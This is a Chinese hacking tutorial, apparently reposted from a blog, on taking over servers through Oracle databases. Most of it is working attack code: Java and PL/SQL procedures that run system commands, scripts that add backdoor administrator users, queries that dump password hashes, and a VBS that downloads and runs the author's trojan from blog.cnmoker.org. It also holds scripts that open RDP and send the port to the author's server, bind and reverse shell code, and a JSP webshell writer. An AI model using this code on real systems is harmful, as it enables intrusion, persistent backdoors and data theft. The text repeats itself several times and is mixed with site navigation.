Create or REPLACE LIBRARY exec_shell AS 'c:\windows\system32\msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors

上面这个没有回显的

如果不行可以使用下面这个
 程序代码
Create or REPLACE LIBRARY exec_shell AS '$ORACLE_HOME\msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors

执行完后
执行
 程序代码
exec oracmd.exec ('net1 user robert iloveyou /add');

NO2.
 程序代码
Create or REPLACE AND COMPILE JAVA SOURCE NAMED "Host" AS
import java.io.*;
public class Host {
public static void executeCommand(String command) {
try {
String[] finalCommand;
if (isWindows()) {
finalCommand = new String[4];
// Use the appropriate path for your windows version.
finalCommand[0] = "C:\\windows\\system32\\cmd.exe";  // Windows XP/2003
//finalCommand[0] = "C:\\winnt\\system32\\cmd.exe";  // Windows NT/2000
finalCommand[1] = "/y";
finalCommand[2] = "/c";
finalCommand[3] = command;
}
else {
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
}

final Process pr = Runtime.getRuntime().exec(finalCommand);
pr.waitFor();

new Thread(new Runnable(){
public void run() {
BufferedReader br_in = null;
try {
br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
String buff = null;
while ((buff = br_in.readLine()) != null) {
System.out.println("Process out :" + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_in.close();
}
catch (IOException ioe) {
System.out.println("Exception caught printing process output.");
ioe.printStackTrace();
}
finally {
try {
br_in.close();
} catch (Exception ex) {}
}
}
}).start();

new Thread(new Runnable(){
public void run() {
BufferedReader br_err = null;
try {
br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
String buff = null;
while ((buff = br_err.readLine()) != null) {
System.out.println("Process err :" + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_err.close();
}
catch (IOException ioe) {
System.out.println("Exception caught printing process error.");
ioe.printStackTrace();
}
finally {
try {
br_err.close();
} catch (Exception ex) {}
}
}
}).start();
}
catch (Exception ex) {
System.out.println(ex.getLocalizedMessage());
}
}

public static boolean isWindows() {
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
return true;
else
return false;
}

};
/
Create or REPLACE PROCEDURE host_command (p_command  IN  VARCHAR2)
AS LANGUAGE JAVA
NAME 'Host.executeCommand (java.lang.String)';
/
EXEC DBMS_JAVA.grant_permission('SYSTEM', 'java.io.FilePermission', '<>', 'read ,write, execute, delete');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
/
DECLARE
l_output DBMS_OUTPUT.chararr;
l_lines  INTEGER := 1000;
BEGIN
DBMS_OUTPUT.enable(1000000);
DBMS_JAVA.set_output(1000000);

host_command('dir C:\');

DBMS_OUTPUT.get_lines(l_output, l_lines);
END;

这个要注意两点
win下注意系统路径
linx下注意注释掉win
最后一句就是执行命令的
 程序代码
host_command('dir C:\');

no3.
 程序代码
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;

这句注意最后这里要授权下当前登陆的用户
 程序代码
grant javasyspriv to system

最后执行
 程序代码
exec :x:=run_cmz('ipconfig');

第二部分 操作磁盘文件
no1.
建立目录
 程序代码
create or replace directory DIR as 'C:\';
此目录当然也可以是启动目录

授权
 程序代码
grant read, write on directory DIR to system

这步可以不用
然后执行操作
写文件
 程序代码
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'test.vbs', 'W');
utl_file.put_line(file, 'Set xPost=CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http:/ /blog.cnmoker.org/rad.exe",0
xPost.Send()
Set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\rad.exe",2');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript c:\test.vbs');
/
exec :x:=run_cmz('c:\rad.exe');

这步操作讲下载我的木马到c盘并执行
 程序代码
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', '3389.vbs', 'W');
utl_file.put_line(file, 'Dim OperationRegistry
Set OperationRegistry=WScript.createObject("WScript.Shell")
Dim TSPort,TSState,TSRegPath
TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber"
TSPort=OperationRegistry.RegRead(TSRegPath)
TSRegPath="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections"
TSState=OperationRegistry.RegRead(TSRegPath)
If TSState=0 Then
Else
OperationRegistry.RegWrite TSRegPath,0,"REG_DWORD"
End If');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript c:\3389.vbs');

vbs开启3389
 程序代码
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'user.vbs', 'W');
utl_file.put_line(file, 'set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"'||'&'||'wsnetwork.ComputerName
Set oa=CreateObject("Scripting.FileSystemObject")
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","bob")
od.SetPassword "123456abc!@#"
od.SetInfo
Set of=GetObject(os&"/bob",user)
oe.add os&"/bob" oa.DeleteFile("user.vbs")');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
/
exec :x:=run_cmz('cscript c:\user.vbs');
无net添加admin用户
 程序代码
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', '3389p.vbs', 'W');
utl_file.put_line(file, '

 

Dim OperationRegistry
Set OperationRegistry=WScript.createObject("WScript.Shell")
Dim TSPort,TSState,TSRegPath
TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber"
TSPort=OperationRegistry.RegRead(TSRegPath)

Set xPost=CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://blog.cnmoker.org/read3389/ro.asp?port=" '||'ccccc'||' TSPort,0
xPost.Send()

TSRegPath="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections"
TSState=OperationRegistry.RegRead(TSRegPath)
If TSState=0 Then
Else
OperationRegistry.RegWrite TSRegPath,0,"REG_DWORD"
End If
set obj=wscript.createObject("wscript.shell")
obj.Run("sc config TermService start= demand")
obj.Run("sc stop  TermService")
obj.Run("sc start TermService")
wscript.quit
');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript c:\3389p.vbs');
/
exec :x:=run_cmz('del c:\3389p.vbs');
/
http://blog.cnmoker.org/read3389/read.asp

这个代码的作用是用来读取对方的3389端口并post下自己的网站数据库里
这个read.asp和ro.asp自己写吧
到此win下操作基本上是完成了

第三部分 linux的一些操作

linux的操作要用到sqlj语言
其实ISTO的kj总早就写了一些
我总结
 程序代码
create or replace and compile java source named bob as
import java.io.*;
import java.net.*;
public class BOB{
public static String listFolder(String path){
File f=null;
String str="";
f=new File(path);
String[] files=f.list();
if(files!=null)
for(int i=0;i<files.length;i++){
str+=files[i]+"\r\n";
}
return str;
}
public static String saveFile(String filepath,String value){
FileOutputStream fos=null;
try {
fos=new FileOutputStream(filepath);
fos.write(value.getBytes());
return "OK";
} catch (Exception e) {
return e.getMessage();
} finally{
if(fos!=null){
try {fos.close();} catch (Exception e) {}
}
}
}
public static String readFile(String pathfile,String code){
BufferedReader br=null;
String value="";
try {
br=new BufferedReader(new InputStreamReader(new FileInputStream(pathfile),code));
String s=null;
while((s=br.readLine())!=null){
value+=s;
}
return value;
} catch (Exception e) {
return e.getMessage();
} finally{
if(br!=null){try {br.close();} catch (IOException e) {}}
}
}
public static String execFile(String filepath,String code){
int i=0;
Runtime rt=Runtime.getRuntime();
String output="";
InputStreamReader isr = null;
char[] bufferC=new char[1024];
try{
Process ps=rt.exec(filepath);
isr=new InputStreamReader(ps.getInputStream(),code);
while((i=isr.read(bufferC,0,bufferC.length))!=-1){
output+=new String(bufferC,0,i);
}
return output;
}catch(Exception e){
return e.getMessage();
}finally{
if(isr!=null)try {isr.close();} catch (IOException e) {}
}
}
public static String bindShell(int port){
ServerSocket ss=null;
Socket s=null;
try {
ss = new ServerSocket(port);
s=ss.accept();
new optShell(ss,s).start();

return "OK";
} catch (Exception e) {
return e.getMessage();
}
}
public static String reverseShell(String host,int port){
Socket s=null;
try{
s=new Socket(host,port);
new optShell(null,s).start();
return "OK";
}catch(Exception e){
return e.getMessage();
}
} //反弹shell的sqlj语句
public static class optShell extends Thread{
OutputStream os=null;
InputStream is=null;
ServerSocket ss;
Socket s;
public optShell(ServerSocket ss,Socket s){
this.ss=ss;
this.s=s;
try{
this.is=s.getInputStream();
this.os=s.getOutputStream();
}catch(Exception e){
if(os!=null)try {os.close();} catch(Exception ex) {}
if(is!=null)try {is.close();} catch(Exception ex) {}
if(s!=null)try {s.close();} catch(Exception ex) {}
if(ss!=null)try {ss.close();} catch(Exception ex) {}
}
}
public void run(){
BufferedReader br=new BufferedReader(new InputStreamReader(is));
String line="";
String cmdhelp="Command:\r\nlist \r\nsave\r\nread\r\nexec\r\nexit\r\n";
try {
//os.write(cmdhelp.getBytes());
line=br.readLine();
while(!"exit".equals(line)){
if(line.length()>3){
StringBuffer sb=new StringBuffer(line.trim());
String cmd=sb.substring(0, 4);
if(cmd.equals("list")){
os.write("input you path:\r\n".getBytes());
line=br.readLine();
os.write(listFolder(line).getBytes());
}else if("save".equals(cmd)){
os.write("input you filepath:\r\n".getBytes());
line=br.readLine();
os.write("input you value:\r\n".getBytes());
os.write(saveFile(line,br.readLine()).getBytes());
}else if("read".equals(cmd)){
os.write("input you filepath:\r\n".getBytes());
line=br.readLine();
os.write("input you code examle:GBK\r\n".getBytes());
os.write(readFile(line,br.readLine()).getBytes());
}else if("exec".equals(cmd)){
os.write("input you run filepath:\r\n".getBytes());
line=br.readLine();
os.write("input you code examle:GBK\r\n".getBytes());
os.write(execFile(line,br.readLine()).getBytes());
}else{
os.write(cmdhelp.getBytes());
}
}else{
os.write(cmdhelp.getBytes());
}
line=br.readLine();
}
} catch (Exception e) {
e.printStackTrace();
}finally{
if(os!=null)try {os.close();} catch(Exception e) {}
if(is!=null)try {is.close();} catch(Exception e) {}
if(s!=null)try {s.close();} catch(Exception e) {}
if(ss!=null)try {ss.close();} catch(Exception e) {}
}
}
}
}
/
create or replace function BOB_LISTFOLDER(str varchar2) return varchar2
as language java name 'BOB.listFolder(java.lang.String) return java.lang.String';
/
create or replace function BOB_SAVEFILE(p varchar2,v varchar2) return varchar2
as language java name 'BOB.saveFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_READFILE(p varchar2,c varchar2) return varchar2
as language java name 'BOB.readFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_EXECFILE(fp varchar2,c varchar2) return varchar2
as language java name 'BOB.execFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_BINDSHELL(port number) return varchar2
as language java name 'BOB.bindShell(int) return java.lang.String';
/
begin
Dbms_Java.Grant_Permission('scott','java.io.FilePermission','<<ALL FILES>>','read,write,execute,delete');
Dbms_Java.Grant_Permission('scott','java.lang.RuntimePermission','*','writeFileDescriptor');
Dbms_Java.grant_permission('scott','java.net.SocketPermission','*:*','accept,connect,listen,resolve');
end;

这么一大段,仔细看
执行完后
 程序代码
Select BOB_LISTFOLDER('/usr') FROM DUAL //列目录
Select BOB_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL; //执行命令
Select BOB_READFILE('/tmp/1.txt','GBK') FROM DUAL; //读文件
Select BOB_SAVEFILE('/tmp/1.jsp','<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>') FROM DUAL; 写jsp一句话 可查看我的上一篇BLOG
Select BOB_BINDSHELL(20000) FROM DUAL //开启端口2000然后你telnet ip 2000上去

其中本来还有reserver shell的
我还没来的及测试
我自己是更中意反弹shell的
特别是linux
好操作的多
再说有时候linux是nat出来的
反弹就去了许多麻烦

第四部分 技巧

一句话读取3389端口
 程序代码
exec :x:=run_cmz('REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber');

一句话开3389 只合适win 2k3
 程序代码
exec :x:=run_cmz('REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f');

删除pcanywhere导致的终端登陆错误
 程序代码
exec :x:=run_cmz('reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f');

Tags: oracle

oracle技术

Submitted by admin
2009, October 2, 9:45 PM

作者:Robert

配合open那个工具
第一部分

基本查询指令
select * from V$PWFILE_USERS //查看dba用户
select * from v$version //查看oracle版本以及系统版本
select * from session_privs;// 查看当前用户拥有的权限值
select * from user_role_privs\\查询当前用户角色
select * from user_sys_privs\\查询当前用户系统权限


select username,password from dba_users; //查看所有用户密码hash
select * from dba_sys_privs where grantee='SYSTEM';\\查系统权限
grant select any dictionary to system with admin option;\\登陆不上OEM时候需要此权限
Select name,password FROM user$ Where name='SCOTT'; //低版本查看单用户密码
Select username,decode(password,NULL,'NULL',password) password FROM dba_users; //查看用户hash
create user bob identified by iloveyou;\\建用户bob密码iloveyou
grant dba to bob;\\赋予bob DBA权限
grant execute on xmldom to bob \\赋予用户execute
Create ROLE "javauserpriv" NOT IDENTIFIED
Create ROLE "javasyspriv" NOT IDENTIFIED \\当提示role 'JAVASYSPRIV' does not exist使用
select grantee from dba_role_privs where granted_role='DBA'; \\检查那些用户有DBA权限
select * from dba_directories;\\查看路径所在目录

第二部分,创建java,执行系统命令

no.1

Create or REPLACE LIBRARY exec_shell AS 'c:\windows\system32\msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors上面这个没有回显的

如果不行可以使用下面这个

Create or REPLACE LIBRARY exec_shell AS '$ORACLE_HOME\msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors执行完后
执行

exec oracmd.exec ('net1 user robert iloveyou /add');no2.

Create or REPLACE AND COMPILE JAVA SOURCE NAMED "Host" AS
import java.io.*;
public class Host {
public static void executeCommand(String command) {
try {
String[] finalCommand;
if (isWindows()) {
finalCommand = new String[4];
// Use the appropriate path for your windows version.
finalCommand[0] = "C:\\windows\\system32\\cmd.exe";  // Windows XP/2003
//finalCommand[0] = "C:\\winnt\\system32\\cmd.exe";  // Windows NT/2000
finalCommand[1] = "/y";
finalCommand[2] = "/c";
finalCommand[3] = command;
}
else {
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
}

final Process pr = Runtime.getRuntime().exec(finalCommand);
pr.waitFor();

new Thread(new Runnable(){
public void run() {
BufferedReader br_in = null;
try {
br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
String buff = null;
while ((buff = br_in.readLine()) != null) {
System.out.println("Process out :" + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_in.close();
}
catch (IOException ioe) {
System.out.println("Exception caught printing process output.");
ioe.printStackTrace();
}
finally {
try {
br_in.close();
} catch (Exception ex) {}
}
}
}).start();

new Thread(new Runnable(){
public void run() {
BufferedReader br_err = null;
try {
br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
String buff = null;
while ((buff = br_err.readLine()) != null) {
System.out.println("Process err :" + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_err.close();
}
catch (IOException ioe) {
System.out.println("Exception caught printing process error.");
ioe.printStackTrace();
}
finally {
try {
br_err.close();
} catch (Exception ex) {}
}
}
}).start();
}
catch (Exception ex) {
System.out.println(ex.getLocalizedMessage());
}
}

public static boolean isWindows() {
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
return true;
else
return false;
}

};
/
Create or REPLACE PROCEDURE host_command (p_command  IN  VARCHAR2)
AS LANGUAGE JAVA
NAME 'Host.executeCommand (java.lang.String)';
/
EXEC DBMS_JAVA.grant_permission('SYSTEM', 'java.io.FilePermission', '<>', 'read ,write, execute, delete');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
/
DECLARE
l_output DBMS_OUTPUT.chararr;
l_lines  INTEGER := 1000;
BEGIN
DBMS_OUTPUT.enable(1000000);
DBMS_JAVA.set_output(1000000);

host_command('dir C:\');

DBMS_OUTPUT.get_lines(l_output, l_lines);
END;这个要注意两点
win下注意系统路径
linx下注意注释掉win
最后一句就是执行命令的
host_command('dir C:\');

no3.

create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;这句注意最后这里要授权下当前登陆的用户

grant javasyspriv to system最后执行

exec :x:=run_cmz('ipconfig');第二部分 操作磁盘文件
no1.
建立目录

create or replace directory DIR as 'C:\';此目录当然也可以是启动目录

授权

grant read, write on directory DIR to system这步可以不用
然后执行操作
写文件

declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'test.vbs', 'W');
utl_file.put_line(file, 'Set xPost=CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http:/ /blog.cnmoker.org/rad.exe",0
xPost.Send()
Set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\rad.exe",2');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript c:\test.vbs');
/
exec :x:=run_cmz('c:\rad.exe');这步操作讲下载我的木马到c盘并执行

declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', '3389.vbs', 'W');
utl_file.put_line(file, 'Dim OperationRegistry
Set OperationRegistry=WScript.createObject("WScript.Shell")
Dim TSPort,TSState,TSRegPath
TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber"
TSPort=OperationRegistry.RegRead(TSRegPath)
TSRegPath="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections"
TSState=OperationRegistry.RegRead(TSRegPath)
If TSState=0 Then
Else
OperationRegistry.RegWrite TSRegPath,0,"REG_DWORD"
End If');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript c:\3389.vbs');vbs开启3389

declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'user.vbs', 'W');
utl_file.put_line(file, 'set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"'||'&'||'wsnetwork.ComputerName
Set oa=CreateObject("Scripting.FileSystemObject")
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","bob")
od.SetPassword "123456abc!@#"
od.SetInfo
Set of=GetObject(os&"/bob",user)
oe.add os&"/bob"
oa.DeleteFile("user.vbs")');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
/
exec :x:=run_cmz('cscript c:\user.vbs');无net添加admin用户

declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', '3389p.vbs', 'W');
utl_file.put_line(file, '

Dim OperationRegistry
Set OperationRegistry=WScript.createObject("WScript.Shell")
Dim TSPort,TSState,TSRegPath
TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber"
TSPort=OperationRegistry.RegRead(TSRegPath)
Set xPost=CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://blog.cnmoker.org/read3389/ro.asp?port=" '||'ccccc'||' TSPort,0
xPost.Send()

TSRegPath="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections"
TSState=OperationRegistry.RegRead(TSRegPath)
If TSState=0 Then
Else
OperationRegistry.RegWrite TSRegPath,0,"REG_DWORD"
End If
set obj=wscript.createObject("wscript.shell")
obj.Run("sc config TermService start= demand")
obj.Run("sc stop  TermService")
obj.Run("sc start TermService")
wscript.quit
');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript c:\3389p.vbs');
/
exec :x:=run_cmz('del c:\3389p.vbs');
/
http://blog.cnmoker.org/read3389/read.asp这个代码的作用是用来读取对方的3389端口并post下自己的网站数据库里
这个read.asp和ro.asp自己写吧
到此win下操作基本上是完成了

第三部分 linux的一些操作

linux的操作要用到sqlj语言
其实ISTO的kj总早就写了一些
我总结

create or replace and compile java source named bob as
import java.io.*;
import java.net.*;
public class BOB{
public static String listFolder(String path){
File f=null;
String str="";
f=new File(path);
String[] files=f.list();
if(files!=null)
for(int i=0;i<files.length;i++){
str+=files[i]+"\r\n";
}
return str;
}
public static String saveFile(String filepath,String value){
FileOutputStream fos=null;
try {
fos=new FileOutputStream(filepath);
fos.write(value.getBytes());
return "OK";
} catch (Exception e) {
return e.getMessage();
} finally{
if(fos!=null){
try {fos.close();} catch (Exception e) {}
}
}
}
public static String readFile(String pathfile,String code){
BufferedReader br=null;
String value="";
try {
br=new BufferedReader(new InputStreamReader(new FileInputStream(pathfile),code));
String s=null;
while((s=br.readLine())!=null){
value+=s;
}
return value;
} catch (Exception e) {
return e.getMessage();
} finally{
if(br!=null){try {br.close();} catch (IOException e) {}}
}
}
public static String execFile(String filepath,String code){
int i=0;
Runtime rt=Runtime.getRuntime();
String output="";
InputStreamReader isr = null;
char[] bufferC=new char[1024];
try{
Process ps=rt.exec(filepath);
isr=new InputStreamReader(ps.getInputStream(),code);
while((i=isr.read(bufferC,0,bufferC.length))!=-1){
output+=new String(bufferC,0,i);
}
return output;
}catch(Exception e){
return e.getMessage();
}finally{
if(isr!=null)try {isr.close();} catch (IOException e) {}
}
}
public static String bindShell(int port){
ServerSocket ss=null;
Socket s=null;
try {
ss = new ServerSocket(port);
s=ss.accept();
new optShell(ss,s).start();

return "OK";
} catch (Exception e) {
return e.getMessage();
}
}
public static String reverseShell(String host,int port){
Socket s=null;
try{
s=new Socket(host,port);
new optShell(null,s).start();
return "OK";
}catch(Exception e){
return e.getMessage();
}
} //反弹shell的sqlj语句
public static class optShell extends Thread{
OutputStream os=null;
InputStream is=null;
ServerSocket ss;
Socket s;
public optShell(ServerSocket ss,Socket s){
this.ss=ss;
this.s=s;
try{
this.is=s.getInputStream();
this.os=s.getOutputStream();
}catch(Exception e){
if(os!=null)try {os.close();} catch(Exception ex) {}
if(is!=null)try {is.close();} catch(Exception ex) {}
if(s!=null)try {s.close();} catch(Exception ex) {}
if(ss!=null)try {ss.close();} catch(Exception ex) {}
}
}
public void run(){
BufferedReader br=new BufferedReader(new InputStreamReader(is));
String line="";
String cmdhelp="Command:\r\nlist \r\nsave\r\nread\r\nexec\r\nexit\r\n";
try {
//os.write(cmdhelp.getBytes());
line=br.readLine();
while(!"exit".equals(line)){
if(line.length()>3){
StringBuffer sb=new StringBuffer(line.trim());
String cmd=sb.substring(0, 4);
if(cmd.equals("list")){
os.write("input you path:\r\n".getBytes());
line=br.readLine();
os.write(listFolder(line).getBytes());
}else if("save".equals(cmd)){
os.write("input you filepath:\r\n".getBytes());
line=br.readLine();
os.write("input you value:\r\n".getBytes());
os.write(saveFile(line,br.readLine()).getBytes());
}else if("read".equals(cmd)){
os.write("input you filepath:\r\n".getBytes());
line=br.readLine();
os.write("input you code examle:GBK\r\n".getBytes());
os.write(readFile(line,br.readLine()).getBytes());
}else if("exec".equals(cmd)){
os.write("input you run filepath:\r\n".getBytes());
line=br.readLine();
os.write("input you code examle:GBK\r\n".getBytes());
os.write(execFile(line,br.readLine()).getBytes());
}else{
os.write(cmdhelp.getBytes());
}
}else{
os.write(cmdhelp.getBytes());
}
line=br.readLine();
}
} catch (Exception e) {
e.printStackTrace();
}finally{
if(os!=null)try {os.close();} catch(Exception e) {}
if(is!=null)try {is.close();} catch(Exception e) {}
if(s!=null)try {s.close();} catch(Exception e) {}
if(ss!=null)try {ss.close();} catch(Exception e) {}
}
}
}
}
/
Linux  
 
Windows  
 
Vista  
 
Dos命令行  
 
 
 菜鸟入门  
 
 攻防文档  
 
 脚本攻防  
 
 安全之难  
 
 安全防御  
 
 工具软件  
 
 Exploite  
 
 
 加密破解  
 
 病毒文档  
 
 QQ教程  
 
 
 业界新闻  
 
 安全公告  
 
 人物  
 
 
 IT情感  
 
 IT幽默  
 
 其他综合  
 
 
 
 | 网站首页 | 论坛 | 教程 | 下载 | QQ家园 | 程序开发 | 网管 | 免费 | 认证考试 | 安全产品 | 图片 | It学堂 | Vip会员 | 投稿 |  
 
   
 
 
 
 
 
 
 
|
 教程首页
 |
 电脑技术
 |
 攻防技术
 |
 其他技术
 |
 业界动态
 |
 IT其他
 |
 
 
 
 
站点相关
红色黑客联盟招聘启事
站长亲传会员:量身定做黑客培训
代刻黑客光盘或订做光盘
精品软件程序定制
 
为您的网站或者服务器保驾护航
 
 
相关内容
-
 
 
最 新 热 门
 获得运行中的QQ号码
 调查人员复制出如何用No
 Imail密码解密脚本
 大小姐木马赚1400万 揭开
 [组图]网吧PubWin2007会
 一次局域网入侵全过程
 [组图]入侵某某学院学生
 [组图]腾讯新漏洞?绕过
 病毒清理方法总汇
 [组图]教你如何轻松解密
 
 
相 关 文 章
没有相关文章
 
   
 您现在的位置: 红色黑客联盟 >> 教程 >> 攻防技术 >> 攻防文档 >> 正文
oracle技术文档
 
 
文章录入:7747.Net    责任编辑:7747.Net  39  
 【字体:小 大】
 
 
作者:Robert

配合open那个工具
第一部分

基本查询指令
select * from V$PWFILE_USERS //查看dba用户
select * from v$version //查看oracle版本以及系统版本
select * from session_privs;// 查看当前用户拥有的权限值
select * from user_role_privs\\查询当前用户角色
select * from user_sys_privs\\查询当前用户系统权限


select username,password from dba_users; //查看所有用户密码hash
select * from dba_sys_privs where grantee='SYSTEM';\\查系统权限
grant select any dictionary to system with admin option;\\登陆不上OEM时候需要此权限
Select name,password FROM user$ Where name='SCOTT'; //低版本查看单用户密码
Select username,decode(password,NULL,'NULL',password) password FROM dba_users; //查看用户hash
create user bob identified by iloveyou;\\建用户bob密码iloveyou
grant dba to bob;\\赋予bob DBA权限
grant execute on xmldom to bob \\赋予用户execute
Create ROLE "javauserpriv" NOT IDENTIFIED
Create ROLE "javasyspriv" NOT IDENTIFIED \\当提示role 'JAVASYSPRIV' does not exist使用
select grantee from dba_role_privs where granted_role='DBA'; \\检查那些用户有DBA权限
select * from dba_directories;\\查看路径所在目录

第二部分,创建java,执行系统命令

no.1

Create or REPLACE LIBRARY exec_shell AS 'c:\windows\system32\msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
